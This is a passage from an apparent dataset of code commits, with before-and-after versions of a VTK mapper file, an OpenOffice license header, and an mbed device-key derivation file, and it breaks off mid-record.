~15;\n  if (remainder) {\n    sse += SumSquareError(src_a, src_b, remainder);\n    src_a += remainder;\n    src_b += remainder;\n  }\n  remainder = count & 15;\n  if (remainder) {\n    sse += SumSquareError_C(src_a, src_b, remainder);\n  }\n  return static_cast<double>(sse);\n}\n#endif\n\n\/\/ PSNR formula: psnr = 10 * log10 (Peak Signal^2 * size \/ sse)\n\/\/ Returns 128.0 (kMaxPSNR) if sse is 0 (perfect match).\ndouble ComputePSNR(double sse, double size) {\n  const double kMINSSE = 255.0 * 255.0 * size \/ pow(10.0, kMaxPSNR \/ 10.0);\n  if (sse <= kMINSSE)\n    sse = kMINSSE;  \/\/ Produces max PSNR of 128\n  return 10.0 * log10(255.0 * 255.0 * size \/ sse);\n}\n\n#ifdef __cplusplus\n}  \/\/ extern \"C\"\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkAbstractMapper.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkAbstractMapper.h\"\n\n#include \"vtkCellData.h\"\n#include \"vtkDataSet.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkPlaneCollection.h\"\n#include \"vtkPlanes.h\"\n#include \"vtkPointData.h\"\n#include \"vtkTimerLog.h\"\n\nvtkCxxRevisionMacro(vtkAbstractMapper, \"1.4\");\n\nvtkCxxSetObjectMacro(vtkAbstractMapper,ClippingPlanes,vtkPlaneCollection);\n\n\n\/\/ Construct object.\nvtkAbstractMapper::vtkAbstractMapper()\n{\n  this->TimeToDraw = 0.0;\n  this->LastWindow = NULL;\n  this->ClippingPlanes = NULL;\n  this->Timer = vtkTimerLog::New();\n  this->SetNumberOfOutputPorts(0);\n  this->SetNumberOfInputPorts(1);\n}\n\nvtkAbstractMapper::~vtkAbstractMapper()\n{\n  this->Timer->Delete();\n  if (this->ClippingPlanes)\n    {\n    this->ClippingPlanes->UnRegister(this);\n    }\n}\n\n\/\/ Description:\n\/\/ Override Modifiedtime as we have added Clipping planes\nunsigned long vtkAbstractMapper::GetMTime()\n{\n  unsigned long mTime = this->Superclass::GetMTime();\n  unsigned long clipMTime;\n\n  if ( this->ClippingPlanes != NULL )\n    {\n    clipMTime = this->ClippingPlanes->GetMTime();\n    mTime = ( clipMTime > mTime ? clipMTime : mTime );\n    }\n\n  return mTime;\n}\n\nvoid vtkAbstractMapper::AddClippingPlane(vtkPlane *plane)\n{\n  if (this->ClippingPlanes == NULL)\n    {\n    this->ClippingPlanes = vtkPlaneCollection::New();\n    this->ClippingPlanes->Register(this);\n    this->ClippingPlanes->Delete();\n    }\n\n  this->ClippingPlanes->AddItem(plane);\n}\n\nvoid vtkAbstractMapper::RemoveClippingPlane(vtkPlane *plane)\n{\n  if (this->ClippingPlanes == NULL)\n    {\n    vtkErrorMacro(<< \"Cannot remove clipping plane: mapper has none\");\n    }\n  this->ClippingPlanes->RemoveItem(plane);\n}\n\nvoid vtkAbstractMapper::RemoveAllClippingPlanes()\n{\n  if ( this->ClippingPlanes )\n    {\n    this->ClippingPlanes->RemoveAllItems();\n    }\n}\n\nvoid vtkAbstractMapper::SetClippingPlanes(vtkPlanes *planes)\n{\n  vtkPlane *plane;\n  if (!planes)\n    {\n    return;\n    }\n\n  int numPlanes = planes->GetNumberOfPlanes();\n\n  this->RemoveAllClippingPlanes();\n  for (int i=0; i<numPlanes && i<6; i++)\n    {\n    plane = vtkPlane::New();\n    planes->GetPlane(i, plane);\n    this->AddClippingPlane(plane);\n    plane->Delete();\n    }\n}\n\nvtkDataArray *vtkAbstractMapper::GetScalars(vtkDataSet *input,\n                                            int scalarMode,\n                                            int arrayAccessMode,\n                                            int arrayId, \n                                            const char *arrayName,\n                                            int& cellFlag)\n{\n  vtkDataArray *scalars=NULL;\n  vtkPointData *pd;\n  vtkCellData *cd;\n  vtkFieldData *fd;\n  \n  \/\/ make sure we have an input\n  if ( !input )\n    {\n    return NULL;\n    }\n    \n  \/\/ get and scalar data according to scalar mode\n  if ( scalarMode == VTK_SCALAR_MODE_DEFAULT )\n    {\n    scalars = input->GetPointData()->GetScalars();\n    cellFlag = 0;\n    if (!scalars)\n      {\n      scalars = input->GetCellData()->GetScalars();\n      cellFlag = 1;\n      }\n    }\n  else if ( scalarMode == VTK_SCALAR_MODE_USE_POINT_DATA )\n    {\n    scalars = input->GetPointData()->GetScalars();\n    cellFlag = 0;\n    }\n  else if ( scalarMode == VTK_SCALAR_MODE_USE_CELL_DATA )\n    {\n    scalars = input->GetCellData()->GetScalars();\n    cellFlag = 1;\n    }\n  else if ( scalarMode == VTK_SCALAR_MODE_USE_POINT_FIELD_DATA )\n    {\n    pd = input->GetPointData();\n    if (arrayAccessMode == VTK_GET_ARRAY_BY_ID)\n      {\n      scalars = pd->GetArray(arrayId);\n      }\n    else\n      {\n      scalars = pd->GetArray(arrayName);\n      }\n    cellFlag = 0;\n    }\n  else if ( scalarMode == VTK_SCALAR_MODE_USE_CELL_FIELD_DATA )\n    {\n    cd = input->GetCellData();\n    if (arrayAccessMode == VTK_GET_ARRAY_BY_ID)\n      {\n      scalars = cd->GetArray(arrayId);\n      }\n    else\n      {\n      scalars = cd->GetArray(arrayName);\n      }\n    cellFlag = 1;\n    }\n  else if ( scalarMode == VTK_SCALAR_MODE_USE_FIELD_DATA )\n    {\n    fd = input->GetFieldData();\n    if (arrayAccessMode == VTK_GET_ARRAY_BY_ID)\n      {\n      scalars = fd->GetArray(arrayId);\n      }\n    else\n      {\n      scalars = fd->GetArray(arrayName);\n      }\n    cellFlag = 1;\n    }\n  \n  return scalars;\n}\n\n\n\/\/ Shallow copy of vtkProp.\nvoid vtkAbstractMapper::ShallowCopy(vtkAbstractMapper *mapper)\n{\n  this->SetClippingPlanes( mapper->GetClippingPlanes() );\n}\n\nvoid vtkAbstractMapper::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n\n  os << indent << \"TimeToDraw: \" << this->TimeToDraw << \"\\n\";\n\n  if ( this->ClippingPlanes )\n    {\n    os << indent << \"ClippingPlanes:\\n\";\n    this->ClippingPlanes->PrintSelf(os,indent.GetNextIndent());\n    }\n  else\n    {\n    os << indent << \"ClippingPlanes: (none)\\n\";\n    }\n}\n\n\n<commit_msg>ENH: Merge changes from main tree into VTK-5-0 branch. (cvs -q up -j1.5 -j1.6 Filtering\/vtkAbstractMapper.cxx)<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkAbstractMapper.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkAbstractMapper.h\"\n\n#include \"vtkCellData.h\"\n#include \"vtkDataSet.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkPlaneCollection.h\"\n#include \"vtkPlanes.h\"\n#include \"vtkPointData.h\"\n#include \"vtkTimerLog.h\"\n\nvtkCxxRevisionMacro(vtkAbstractMapper, \"1.4.4.1\");\n\nvtkCxxSetObjectMacro(vtkAbstractMapper,ClippingPlanes,vtkPlaneCollection);\n\n\n\/\/ Construct object.\nvtkAbstractMapper::vtkAbstractMapper()\n{\n  this->TimeToDraw = 0.0;\n  this->LastWindow = NULL;\n  this->ClippingPlanes = NULL;\n  this->Timer = vtkTimerLog::New();\n  this->SetNumberOfOutputPorts(0);\n  this->SetNumberOfInputPorts(1);\n}\n\nvtkAbstractMapper::~vtkAbstractMapper()\n{\n  this->Timer->Delete();\n  if (this->ClippingPlanes)\n    {\n    this->ClippingPlanes->UnRegister(this);\n    }\n}\n\n\/\/ Description:\n\/\/ Override Modifiedtime as we have added Clipping planes\nunsigned long vtkAbstractMapper::GetMTime()\n{\n  unsigned long mTime = this->Superclass::GetMTime();\n  unsigned long clipMTime;\n\n  if ( this->ClippingPlanes != NULL )\n    {\n    clipMTime = this->ClippingPlanes->GetMTime();\n    mTime = ( clipMTime > mTime ? clipMTime : mTime );\n    }\n\n  return mTime;\n}\n\nvoid vtkAbstractMapper::AddClippingPlane(vtkPlane *plane)\n{\n  if (this->ClippingPlanes == NULL)\n    {\n    this->ClippingPlanes = vtkPlaneCollection::New();\n    this->ClippingPlanes->Register(this);\n    this->ClippingPlanes->Delete();\n    }\n\n  this->ClippingPlanes->AddItem(plane);\n  this->Modified();\n}\n\nvoid vtkAbstractMapper::RemoveClippingPlane(vtkPlane *plane)\n{\n  if (this->ClippingPlanes == NULL)\n    {\n    vtkErrorMacro(<< \"Cannot remove clipping plane: mapper has none\");\n    }\n  this->ClippingPlanes->RemoveItem(plane);\n  this->Modified();\n}\n\nvoid vtkAbstractMapper::RemoveAllClippingPlanes()\n{\n  if ( this->ClippingPlanes )\n    {\n    this->ClippingPlanes->RemoveAllItems();\n    }\n}\n\nvoid vtkAbstractMapper::SetClippingPlanes(vtkPlanes *planes)\n{\n  vtkPlane *plane;\n  if (!planes)\n    {\n    return;\n    }\n\n  int numPlanes = planes->GetNumberOfPlanes();\n\n  this->RemoveAllClippingPlanes();\n  for (int i=0; i<numPlanes && i<6; i++)\n    {\n    plane = vtkPlane::New();\n    planes->GetPlane(i, plane);\n    this->AddClippingPlane(plane);\n    plane->Delete();\n    }\n}\n\nvtkDataArray *vtkAbstractMapper::GetScalars(vtkDataSet *input,\n                                            int scalarMode,\n                                            int arrayAccessMode,\n                                            int arrayId, \n                                            const char *arrayName,\n                                            int& cellFlag)\n{\n  vtkDataArray *scalars=NULL;\n  vtkPointData *pd;\n  vtkCellData *cd;\n  vtkFieldData *fd;\n  \n  \/\/ make sure we have an input\n  if ( !input )\n    {\n    return NULL;\n    }\n    \n  \/\/ get and scalar data according to scalar mode\n  if ( scalarMode == VTK_SCALAR_MODE_DEFAULT )\n    {\n    scalars = input->GetPointData()->GetScalars();\n    cellFlag = 0;\n    if (!scalars)\n      {\n      scalars = input->GetCellData()->GetScalars();\n      cellFlag = 1;\n      }\n    }\n  else if ( scalarMode == VTK_SCALAR_MODE_USE_POINT_DATA )\n    {\n    scalars = input->GetPointData()->GetScalars();\n    cellFlag = 0;\n    }\n  else if ( scalarMode == VTK_SCALAR_MODE_USE_CELL_DATA )\n    {\n    scalars = input->GetCellData()->GetScalars();\n    cellFlag = 1;\n    }\n  else if ( scalarMode == VTK_SCALAR_MODE_USE_POINT_FIELD_DATA )\n    {\n    pd = input->GetPointData();\n    if (arrayAccessMode == VTK_GET_ARRAY_BY_ID)\n      {\n      scalars = pd->GetArray(arrayId);\n      }\n    else\n      {\n      scalars = pd->GetArray(arrayName);\n      }\n    cellFlag = 0;\n    }\n  else if ( scalarMode == VTK_SCALAR_MODE_USE_CELL_FIELD_DATA )\n    {\n    cd = input->GetCellData();\n    if (arrayAccessMode == VTK_GET_ARRAY_BY_ID)\n      {\n      scalars = cd->GetArray(arrayId);\n      }\n    else\n      {\n      scalars = cd->GetArray(arrayName);\n      }\n    cellFlag = 1;\n    }\n  else if ( scalarMode == VTK_SCALAR_MODE_USE_FIELD_DATA )\n    {\n    fd = input->GetFieldData();\n    if (arrayAccessMode == VTK_GET_ARRAY_BY_ID)\n      {\n      scalars = fd->GetArray(arrayId);\n      }\n    else\n      {\n      scalars = fd->GetArray(arrayName);\n      }\n    cellFlag = 1;\n    }\n  \n  return scalars;\n}\n\n\n\/\/ Shallow copy of vtkProp.\nvoid vtkAbstractMapper::ShallowCopy(vtkAbstractMapper *mapper)\n{\n  this->SetClippingPlanes( mapper->GetClippingPlanes() );\n}\n\nvoid vtkAbstractMapper::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n\n  os << indent << \"TimeToDraw: \" << this->TimeToDraw << \"\\n\";\n\n  if ( this->ClippingPlanes )\n    {\n    os << indent << \"ClippingPlanes:\\n\";\n    this->ClippingPlanes->PrintSelf(os,indent.GetNextIndent());\n    }\n  else\n    {\n    os << indent << \"ClippingPlanes: (none)\\n\";\n    }\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: moduledbp.cxx,v $\n *\n *  $Revision: 1.2 $\n *\n *  last change: $Author: hr $ $Date: 2003-03-25 16:03:30 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc..\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#include \"componentmodule.cxx\"\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.2.504); FILE MERGED 2005\/09\/05 12:59:02 rt 1.2.504.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: moduledbp.cxx,v $\n *\n *  $Revision: 1.3 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 19:32:34 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#include \"componentmodule.cxx\"\n\n<|endoftext|>"}
{"text":"<commit_before>\/* mbed Microcontroller Library\n * Copyright (c) 2018 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"DeviceKey.h\"\n\n#if DEVICEKEY_ENABLED\n#include \"mbedtls\/config.h\"\n#include \"mbedtls\/cmac.h\"\n#include \"mbedtls\/platform.h\"\n#include \"KVStore.h\"\n#include \"TDBStore.h\"\n#include \"KVMap.h\"\n#include \"kv_config.h\"\n#include \"mbed_wait_api.h\"\n#include \"stdlib.h\"\n#include \"platform\/mbed_error.h\"\n#include <string.h>\n#include \"entropy.h\"\n#include \"platform_mbed.h\"\n#include \"mbed_trace.h\"\n#include \"ssl_internal.h\"\n\n#define TRACE_GROUP \"DEVKEY\"\n\n#if !defined(MBEDTLS_CMAC_C)\n#error [NOT_SUPPORTED] MBEDTLS_CMAC_C needs to be enabled for this driver\n#else\n\n\nnamespace mbed {\n\n#define DEVKEY_WRITE_UINT32_LE( dst, src )                              \\\n    do                                                                  \\\n    {                                                                   \\\n        (dst)[0] = ( (src) >> 0 ) & 0xFF;                               \\\n        (dst)[1] = ( (src) >> 8 ) & 0xFF;                               \\\n        (dst)[2] = ( (src) >> 16 ) & 0xFF;                              \\\n        (dst)[3] = ( (src) >> 24 ) & 0xFF;                              \\\n    } while( 0 )\n\n#define DEVKEY_WRITE_UINT8_LE( dst, src )                               \\\n    do                                                                  \\\n    {                                                                   \\\n        (dst)[0] = (src) & 0xFF;                                        \\\n    } while( 0 )\n\n\nDeviceKey::DeviceKey()\n{\n\n    int ret = kv_init_storage_config();\n    if (ret != MBED_SUCCESS) {\n        tr_error(\"DeviceKey: Fail to initialize KvStore configuration.\");\n    }\n#if defined(MBEDTLS_PLATFORM_C)\n    ret = mbedtls_platform_setup(NULL);\n    if (ret != MBED_SUCCESS) {\n        tr_error(\"DeviceKey: Fail in mbedtls_platform_setup.\");\n    }\n#endif \/* MBEDTLS_PLATFORM_C *\/\n    return;\n}\n\nDeviceKey::~DeviceKey()\n{\n#if defined(MBEDTLS_PLATFORM_C)\n    mbedtls_platform_teardown(NULL);\n#endif \/* MBEDTLS_PLATFORM_C *\/\n    return;\n}\n\nint DeviceKey::generate_derived_key(const unsigned char *salt, size_t isalt_size, unsigned char *output,\n                                    uint16_t ikey_type)\n{\n    uint32_t key_buff[DEVICE_KEY_32BYTE \/ sizeof(uint32_t)];\n    size_t actual_size = DEVICE_KEY_32BYTE;\n\n    if (DEVICE_KEY_16BYTE != ikey_type && DEVICE_KEY_32BYTE != ikey_type) {\n        return DEVICEKEY_INVALID_KEY_TYPE;\n    }\n\n    actual_size = DEVICE_KEY_16BYTE != ikey_type ? DEVICE_KEY_32BYTE : DEVICE_KEY_16BYTE;\n\n    \/\/First try to read the key from KVStore\n    int ret = read_key_from_kvstore(key_buff, actual_size);\n    if (DEVICEKEY_SUCCESS != ret && DEVICEKEY_NOT_FOUND != ret) {\n        return ret;\n    }\n\n    \/\/If the key was not found in KVStore we will create it by using random generation and then save it to KVStore\n    if (DEVICEKEY_NOT_FOUND == ret) {\n        ret = generate_key_by_random(key_buff, actual_size);\n        if (DEVICEKEY_SUCCESS != ret) {\n            return ret;\n        }\n\n        ret = device_inject_root_of_trust(key_buff, actual_size);\n        if (DEVICEKEY_SUCCESS != ret) {\n            return ret;\n        }\n    }\n\n    ret = get_derived_key(key_buff, actual_size, salt, isalt_size, output, ikey_type);\n    return ret;\n}\n\nint DeviceKey::device_inject_root_of_trust(uint32_t *value, size_t isize)\n{\n    return write_key_to_kvstore(value, isize);\n}\n\nint DeviceKey::write_key_to_kvstore(uint32_t *input, size_t isize)\n{\n    if (DEVICE_KEY_16BYTE != isize && DEVICE_KEY_32BYTE != isize) {\n        return DEVICEKEY_INVALID_KEY_SIZE;\n    }\n\n    \/\/First we read if key exist. If it is exists, we return DEVICEKEY_ALREADY_EXIST error\n    uint32_t read_key[DEVICE_KEY_32BYTE \/ sizeof(uint32_t)] = {0};\n    size_t read_size = DEVICE_KEY_32BYTE;\n    int ret = read_key_from_kvstore(read_key, read_size);\n    if (DEVICEKEY_SUCCESS == ret) {\n        return DEVICEKEY_ALREADY_EXIST;\n    }\n    if (DEVICEKEY_NOT_FOUND != ret) {\n        return ret;\n    }\n\n    KVMap &kv_map = KVMap::get_instance();\n    KVStore *inner_store = kv_map.get_internal_kv_instance(NULL);\n    if (inner_store == NULL) {\n        return DEVICEKEY_SAVE_FAILED;\n    }\n\n    ret = ((TDBStore *)inner_store)->reserved_data_set(input, isize);\n    if (MBED_ERROR_WRITE_FAILED == ret) {\n        return DEVICEKEY_SAVE_FAILED;\n    }\n\n    if (MBED_SUCCESS != ret) {\n        return DEVICEKEY_KVSTORE_UNPREDICTED_ERROR;\n    }\n\n    return DEVICEKEY_SUCCESS;\n}\n\nint DeviceKey::read_key_from_kvstore(uint32_t *output, size_t &size)\n{\n    if (size > (uint16_t) -1) {\n        return DEVICEKEY_INVALID_PARAM;\n    }\n\n    KVMap &kv_map = KVMap::get_instance();\n    KVStore *inner_store = kv_map.get_internal_kv_instance(NULL);\n    if (inner_store == NULL) {\n        return DEVICEKEY_NOT_FOUND;\n    }\n\n    int kvStatus = ((TDBStore *)inner_store)->reserved_data_get(output, size);\n    if (MBED_ERROR_ITEM_NOT_FOUND == kvStatus) {\n        return DEVICEKEY_NOT_FOUND;\n    }\n\n    if (MBED_ERROR_READ_FAILED == kvStatus || MBED_ERROR_INVALID_SIZE == kvStatus) {\n        return DEVICEKEY_READ_FAILED;\n    }\n\n    if (MBED_SUCCESS != kvStatus) {\n        return DEVICEKEY_KVSTORE_UNPREDICTED_ERROR;\n    }\n\n    return DEVICEKEY_SUCCESS;\n}\n\nint DeviceKey::get_derived_key(uint32_t *ikey_buff, size_t ikey_size, const unsigned char *isalt,\n                               size_t isalt_size, unsigned char *output, uint32_t ikey_type)\n{\n    \/\/KDF in counter mode implementation as described in Section 5.1\n    \/\/of NIST SP 800-108, Recommendation for Key Derivation Using Pseudorandom Functions\n    int ret;\n    size_t counter = 0;\n    char separator = 0x00;\n    mbedtls_cipher_context_t ctx;\n    unsigned char output_len_enc[ 4 ] = {0};\n    unsigned char counter_enc[ 1 ] = {0};\n\n    DEVKEY_WRITE_UINT32_LE(output_len_enc, ikey_type);\n\n    mbedtls_cipher_type_t mbedtls_cipher_type = MBEDTLS_CIPHER_AES_128_ECB;\n    if (DEVICE_KEY_32BYTE == ikey_size) {\n        mbedtls_cipher_type = MBEDTLS_CIPHER_AES_256_ECB;\n    }\n\n    const mbedtls_cipher_info_t *cipher_info = mbedtls_cipher_info_from_type(mbedtls_cipher_type);\n\n    do {\n\n        mbedtls_cipher_init(&ctx);\n        ret = mbedtls_cipher_setup(&ctx, cipher_info);\n        if (ret != 0) {\n            goto finish;\n        }\n\n        ret = mbedtls_cipher_cmac_starts(&ctx, (unsigned char *)ikey_buff, ikey_size * 8);\n        if (ret != 0) {\n            goto finish;\n        }\n\n        DEVKEY_WRITE_UINT8_LE(counter_enc, (counter + 1));\n\n        ret = mbedtls_cipher_cmac_update(&ctx, (unsigned char *)counter_enc, sizeof(counter_enc));\n        if (ret != 0) {\n            goto finish;\n        }\n\n        ret = mbedtls_cipher_cmac_update(&ctx, isalt, isalt_size);\n        if (ret != 0) {\n            goto finish;\n        }\n\n        ret = mbedtls_cipher_cmac_update(&ctx, (unsigned char *)&separator, sizeof(char));\n        if (ret != 0) {\n            goto finish;\n        }\n\n        ret = mbedtls_cipher_cmac_update(&ctx, (unsigned char *)&output_len_enc, sizeof(output_len_enc));\n        if (ret != 0) {\n            goto finish;\n        }\n\n        ret = mbedtls_cipher_cmac_finish(&ctx, output + (DEVICE_KEY_16BYTE * (counter)));\n        if (ret != 0) {\n            goto finish;\n        }\n\n        mbedtls_cipher_free(&ctx);\n\n        counter++;\n\n    } while (DEVICE_KEY_16BYTE * counter < ikey_type);\n\nfinish:\n    if (DEVICEKEY_SUCCESS != ret) {\n        mbedtls_cipher_free(&ctx);\n        return DEVICEKEY_ERR_CMAC_GENERIC_FAILURE;\n    }\n\n    return DEVICEKEY_SUCCESS;\n}\n\nint DeviceKey::generate_key_by_random(uint32_t *output, size_t size)\n{\n    int ret = DEVICEKEY_GENERATE_RANDOM_ERROR;\n\n    if (DEVICE_KEY_16BYTE > size) {\n        return DEVICEKEY_BUFFER_TOO_SMALL;\n    } else if (DEVICE_KEY_16BYTE != size && DEVICE_KEY_32BYTE != size) {\n        return DEVICEKEY_INVALID_PARAM;\n    }\n\n#if defined(DEVICE_TRNG) || defined(MBEDTLS_ENTROPY_NV_SEED)\n    uint32_t test_buff[DEVICE_KEY_32BYTE \/ sizeof(int)];\n    mbedtls_entropy_context *entropy = new mbedtls_entropy_context;\n    mbedtls_entropy_init(entropy);\n    memset(output, 0, size);\n    memset(test_buff, 0, size);\n\n    ret = mbedtls_entropy_func(entropy, (unsigned char *)output, size);\n    if (ret != MBED_SUCCESS || mbedtls_ssl_safer_memcmp(test_buff, (unsigned char *)output, size) == 0) {\n        ret = DEVICEKEY_GENERATE_RANDOM_ERROR;\n    } else {\n        ret = DEVICEKEY_SUCCESS;\n    }\n\n    mbedtls_entropy_free(entropy);\n    delete entropy;\n\n#endif\n\n    return ret;\n}\n\n} \/\/ namespace mbed\n\n#endif\n#endif\n\n\n<commit_msg>When reading ROT from KVStore the return ROT key size was ignored<commit_after>\/* mbed Microcontroller Library\n * Copyright (c) 2018 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"DeviceKey.h\"\n\n#if DEVICEKEY_ENABLED\n#include \"mbedtls\/config.h\"\n#include \"mbedtls\/cmac.h\"\n#include \"mbedtls\/platform.h\"\n#include \"KVStore.h\"\n#include \"TDBStore.h\"\n#include \"KVMap.h\"\n#include \"kv_config.h\"\n#include \"mbed_wait_api.h\"\n#include \"stdlib.h\"\n#include \"platform\/mbed_error.h\"\n#include <string.h>\n#include \"entropy.h\"\n#include \"platform_mbed.h\"\n#include \"mbed_trace.h\"\n#include \"ssl_internal.h\"\n\n#define TRACE_GROUP \"DEVKEY\"\n\n#if !defined(MBEDTLS_CMAC_C)\n#error [NOT_SUPPORTED] MBEDTLS_CMAC_C needs to be enabled for this driver\n#else\n\n\nnamespace mbed {\n\n#define DEVKEY_WRITE_UINT32_LE( dst, src )                              \\\n    do                                                                  \\\n    {                                                                   \\\n        (dst)[0] = ( (src) >> 0 ) & 0xFF;                               \\\n        (dst)[1] = ( (src) >> 8 ) & 0xFF;                               \\\n        (dst)[2] = ( (src) >> 16 ) & 0xFF;                              \\\n        (dst)[3] = ( (src) >> 24 ) & 0xFF;                              \\\n    } while( 0 )\n\n#define DEVKEY_WRITE_UINT8_LE( dst, src )                               \\\n    do                                                                  \\\n    {                                                                   \\\n        (dst)[0] = (src) & 0xFF;                                        \\\n    } while( 0 )\n\n\nDeviceKey::DeviceKey()\n{\n\n    int ret = kv_init_storage_config();\n    if (ret != MBED_SUCCESS) {\n        tr_error(\"DeviceKey: Fail to initialize KvStore configuration.\");\n    }\n#if defined(MBEDTLS_PLATFORM_C)\n    ret = mbedtls_platform_setup(NULL);\n    if (ret != MBED_SUCCESS) {\n        tr_error(\"DeviceKey: Fail in mbedtls_platform_setup.\");\n    }\n#endif \/* MBEDTLS_PLATFORM_C *\/\n    return;\n}\n\nDeviceKey::~DeviceKey()\n{\n#if defined(MBEDTLS_PLATFORM_C)\n    mbedtls_platform_teardown(NULL);\n#endif \/* MBEDTLS_PLATFORM_C *\/\n    return;\n}\n\nint DeviceKey::generate_derived_key(const unsigned char *salt, size_t isalt_size, unsigned char *output,\n                                    uint16_t ikey_type)\n{\n    uint32_t key_buff[DEVICE_KEY_32BYTE \/ sizeof(uint32_t)];\n    size_t actual_size = DEVICE_KEY_32BYTE;\n\n    if (DEVICE_KEY_16BYTE != ikey_type && DEVICE_KEY_32BYTE != ikey_type) {\n        return DEVICEKEY_INVALID_KEY_TYPE;\n    }\n\n    actual_size = DEVICE_KEY_16BYTE != ikey_type ? DEVICE_KEY_32BYTE : DEVICE_KEY_16BYTE;\n\n    \/\/First try to read the key from KVStore\n    int ret = read_key_from_kvstore(key_buff, actual_size);\n    if (DEVICEKEY_SUCCESS != ret && DEVICEKEY_NOT_FOUND != ret) {\n        return ret;\n    }\n\n    \/\/If the key was not found in KVStore we will create it by using random generation and then save it to KVStore\n    if (DEVICEKEY_NOT_FOUND == ret) {\n        ret = generate_key_by_random(key_buff, actual_size);\n        if (DEVICEKEY_SUCCESS != ret) {\n            return ret;\n        }\n\n        ret = device_inject_root_of_trust(key_buff, actual_size);\n        if (DEVICEKEY_SUCCESS != ret) {\n            return ret;\n        }\n    }\n\n    ret = get_derived_key(key_buff, actual_size, salt, isalt_size, output, ikey_type);\n    return ret;\n}\n\nint DeviceKey::device_inject_root_of_trust(uint32_t *value, size_t isize)\n{\n    return write_key_to_kvstore(value, isize);\n}\n\nint DeviceKey::write_key_to_kvstore(uint32_t *input, 